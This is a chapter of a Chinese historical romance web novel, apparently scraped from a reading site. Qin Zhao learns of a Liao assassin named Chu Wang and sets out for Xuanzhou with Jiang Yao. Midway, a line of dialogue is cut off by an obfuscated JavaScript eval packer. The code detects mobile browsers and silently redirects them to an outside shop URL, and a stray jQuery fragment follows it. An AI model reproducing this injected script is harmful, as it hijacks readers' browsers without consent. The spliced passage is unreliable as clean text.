“楚望？”宁言秋擦了擦嘴角的西瓜汁，凑近些好奇地问道，“你是怎么知道这个人的？”
“听你的语气，是早有耳闻？”秦照对上他探究的眼神，反问道。
“你说说你是怎么知道的，我再考虑考虑要不要告诉你。”宁言秋今日吊儿郎当的样子里掺和了些许严肃。
“画像有夹层，我把画像的卷轴卸下，中间夹了一封旧信，信上落款就是楚望。”
“时间大概是在你出生之前吧。”宁言秋抢答道。
“是，乾寿七年，彼时母后应该已经有孕。”
宁言秋摊开手掌，示意他先展示展示诚意，自己才好往下讲，一边等银子一边不免唏嘘，抒发些酸溜溜的感慨，
“这个人可不简单，说他是燕辽两国和与战的关键也不为过。”宁言秋将一锭沉甸甸的银子收下，不过是作定金，接下去娓娓道来，“你这出一趟远门，最该愁的估计就是咱们这位陛下，他瞒了二十年的事情桩桩件件都终究被你一点一点翻出来。”
“乾寿七年，北辽尚存只不过虎视眈眈，那会儿陛下已经决意派霍老将军率霍家军前往北地迎敌驻守，以防备辽人奇袭。”说到此处，宁言秋瞥了一眼在旁许久没有说话的霍雨，霍雨似乎也陷入了回忆。
“偏这个时候，太医院来禀，说皇后娘娘有喜，陛下自然高兴，为了你这位太子，他决定少造杀孽，将派驻霍家军的旨意暂且按下不发，有意缓和两国关系。接下来导致这段关系急转直下的点就在楚望，他本也是北辽宗室，却在两国有意缓和关系时，选择孤身潜入燕京。”
“他入京何为？”
宁言秋的上半身几乎伏在桌案上，压低了声音艰难地挤出几个字来，
“刺杀陛下。”这四个字说出口，就仿若是一块巨石从宁言秋背上骤然放下，整个人都轻松不少，相比之下，这块巨石更像是从宁言秋身上转移到秦照身上，他蹙着眉，神情复杂，宁言秋所说的字字句句，自己过去从未听闻。
他印象里，无非就是父皇的宠爱，母后的冷淡疏远，再加上宫中与父皇口中相传的帝后情深，宫中的忘忧塔，暖阁里的玉魄棋都可以佐证。刺杀什么的，于他更像是另一个世界发生的事。
“结果当然是显而易见，刺杀失败，之后这个刺客楚望究竟是身死还是重伤潜逃便不得而知，只是刺杀之后，给霍家军的旨意如期从皇城中枢发出，自此燕辽再无缓和的可能。再后来的事情大家都知道了，北辽覆灭，皇后出逃，所有的旧事就此盖棺定论。”宁言秋一口气说了这么多，剩下两人的反应却几乎没有，他自觉无趣，拿起桌上的粗茶碗，牛饮了一碗，深呼一口气。
“二位对这段可还满意，可别忘了把我的账给结了。”他打个哈欠，正欲起身，冷不丁又被秦照按下。
“那你说的楚望有没有可能到过宣州，给我母后留下什么信息，查查看？”
宁言秋勉强眨了眨干涩的眼睛，“楚望在信里除了提到宣州，还说什么了？”
“没有了，无非是些嘘寒问暖的寒暄之词，我并不明白为何乾寿七年的信里要提到宣州，可眼下也没有其他线索，只好先顺着宣州去查。”
“这事儿急不来，你还是先想想怎么把小蛋花儿带去宣州，霍大人说的事情确有可能进一步发展下去。而且宣州也不是太平之地，知道苦海舟每年在京中收集的消息有多少条吗？”宁言秋挑了挑眉，举个例子。
他顺势看向霍雨，霍雨抿抿唇，也只是摇了摇头。
“五万条上下。可你们知道单单这一个宣州每年有多少条消息往来？”他勾起身侧的盘龙棍，在地上笃笃地敲了两下，
“十五万条都打不住，比临近的几个州县高了好几倍，水也不浅。”说罢，他径直上楼，没再与楼下二人多言。
秦照盯着桌上吃剩的瓜皮，陷入了沉思。
姜窈与他们同行，若宣州真是龙潭虎穴，是否真是个该当的决定？
从豫州开始，秦照就已经察觉所谓燕辽合流多年来一直只是个口号，在各地民情实际之中只不过是个笑话。想要在混战厮杀十数年之后，要燕国的百姓欣然接受曾经或许杀死过自己的同袍、家人、父兄，劫掠过自己的家乡的仇敌，这根本就是无稽之谈。仇敌变成了邻居，对于燕人来说，是与敌共枕，对于辽人来说，何尝不是颠沛漂泊。不知午夜梦回时，是否会有不安与不甘轮番的侵袭。
豫州的民情借着一伙山贼之口可见一斑，信州一地虽说看上去安居乐业，不过是藏得深些。单就净明山一处，清徽观中，除了姜窈，满山的弟子都是幼年时流离失所，沿街乞讨为生的可怜人，若当真安居乐业，又何来那么多失怙失恃的孩子。这已经不是一州一地的特例，宣州也不会例外。
从连年战乱，到燕辽合流，旧的伤口根本来不及愈合。“合流”二字就变成了盐巴，精准地洒在每一个燕人和辽人的心口，久而久之，强烈的家园归属感和现实的割裂就随之在伤口里化脓、腐朽，变成无时无刻不在疼痛的催命咒。
燕与辽，不同的民风，不同的信仰，充斥着对立、矛盾、冲突，从根源上就注定无法交汇。
也许最初，只是少数人的决定，最终后果却平等地落到了所有人的头顶。
随着秦照上楼照看姜窈，只留下霍雨一人静静坐在桌边，感受着从门口有意无意吹来的一点点热风，她心无杂念。
豫州的事情告一段落，她紧赶慢赶终于来到这里。幸好，幸好她来的不晚，赶上了几人出发前去宣州。
————
“醒了？”姜窈迷迷糊糊睁开眼，正瞧见秦照在床边放下碗筷。
“师姐说我再有两日就能下床走动了，这种脚能踩在地上的感觉原来这么奢侈。”姜窈的声音明显有力许多，“也许要不了几天，便可以去拜访伯父。”她说得自然，倒是秦照身形明显顿了顿。
“窈窈，有件事我不想瞒你。”秦照蹲在榻边，仰头对上姜窈的视线，“我也是到了信州之后才知，家父离家已有半月，昨日我回去一趟，他还没有回来，不过我已书信一封，禀明你我之事，想来这几日便有回音。”
“会顺利吗？”姜窈眸中的神色暗淡了几分，却也只是没有细问。
“会的，会顺利的。”秦照将她脸侧的碎发拢至耳后，宽慰道，“若是不顺利，就请窈窈大王将我掳走吧，我绝不反抗。”
姜窈抬手轻轻在他眉心一戳，“窈窈大王又不是山匪，才不干掳人走的勾当。”
“那就是我死缠烂打，强烈要求你带我走。”秦照一面答着话，以免搅动着碗中的米糊，热气升腾，在两人之间氲开一层薄薄的雾气。
“我届时一定如你所愿。”姜窈的手伸至他衣襟前，瞅准时机，将人拉进几分，猝不及防在他额前落下一吻，“以此为
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17761892|205796||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
证。”
姜窈的表情没什么变化，虽然能听到自己的心跳猛烈地在胸腔中捶打，她依旧镇定。
这一吻，本就是她一早准备伤好些要还回来的。
秦照的耳尖却是清清楚楚地带上绯色，“有力气作弄我，看来是要大好了。”说话间勺不紧不慢伸到她唇边。
“阿照，你接下来有什么打算？”秦照还未想好怎么开口，姜窈已经先问了出来。
他神情略显局促，眸中原本好容易调整的平静，再一次被吹皱。
“可能去宣州，我现在只有宣州这一条线索，去寻我母亲。窈窈，我……”
“我陪你一起。”她简短的几个字就轻易驱散了秦照所有的踌躇。
“净明山无事，我原说应该回京，只是也没去过宣州，不若与你一起去看看。再者说，我离京的时候可是和我爹打了赌的，我回京是要给他带个女婿回去的，我这次要是一个人回去了，爹爹不知要怎么笑话我呢。”
慧悟在心中说明，秦照为幽城令而来，她自然没有离开的道理，他说的线索，或许是指幽城令就在宣城。
一切都太顺利了，顺利到秦照有些手足无措。
“好，等你伤愈，我们便启程宣州。”
————
“你当真不回燕京，要跟他们一起去宣州？”兰渚与岑时行翌日准时来换药，显然对于姜窈的这个决定并不太支持。
“嗯，事关重大，师父要我跟着，一定有她的道理。”姜窈隐去了师父要她盯紧秦照的原因，扭头招呼大师兄，
“师父还是不见我吗，师兄？”
岑时行点点头，“这事儿我是日日在她老人家耳边念叨，我知道她也想你。兴许是怕你上山会有其他隐患。”
“罢了，等我回来再来叨扰她老人家。师兄师姐也要保重，京中给我传递信息的人身份不明，他知晓净明山的暗语寓意，目的不明，千万小心。”
兰渚见她还是不习惯背上缠绕的绷带，偷偷摸摸地蛄蛹蛄蛹，试图将绷带拉松些，索性用力一抽，姜窈也不再蛄蛹，直直躺倒，闷哼一声，像一条冻鱼似地直挺挺栽下去。
你师姐还是你师姐，果然做师妹最重要的就是老实点。
“还有心思担心我们，我们好歹那么多人，你就一个人，还跟那个什么秦照一起去宣州。你要是再把自己搞成这个样子，师姐可找不到你。我可告诉你，像秦照那样的野男人，最是坏心眼，你可不要到时候被人卖了还巴巴地给他数钱呢。”兰渚有些恨铁不成钢，既然拦不得她，牢骚还是要发几句的。
兰渚上山的时间也不短，却是个有主意的，上山前也不是流浪的乞儿，若不是慧悟出手相救，她大概已经被她那个烂泥一样的父亲卖给了人伢子。而她的母亲还要任劳任怨供着这么个见异思迁的外地男人，故而她生平最恨来路不明还会说些甜言蜜语的男人。
姜窈也不反驳，只是乖巧地点点头。
————
十日后，四人按时出发，行过净明山时，姜窈下轿。
在山脚下，她虔诚望山叩拜，师父不允她上山，她亦不能失了礼数，此时此地再拜，一为拜别师门，二为向山神祈愿一切顺利。
待她起身时，秦照捧出一套新做的浅青色衣裙。
“给我的？”
“是。”
“阿照怎么会知道我的身量？”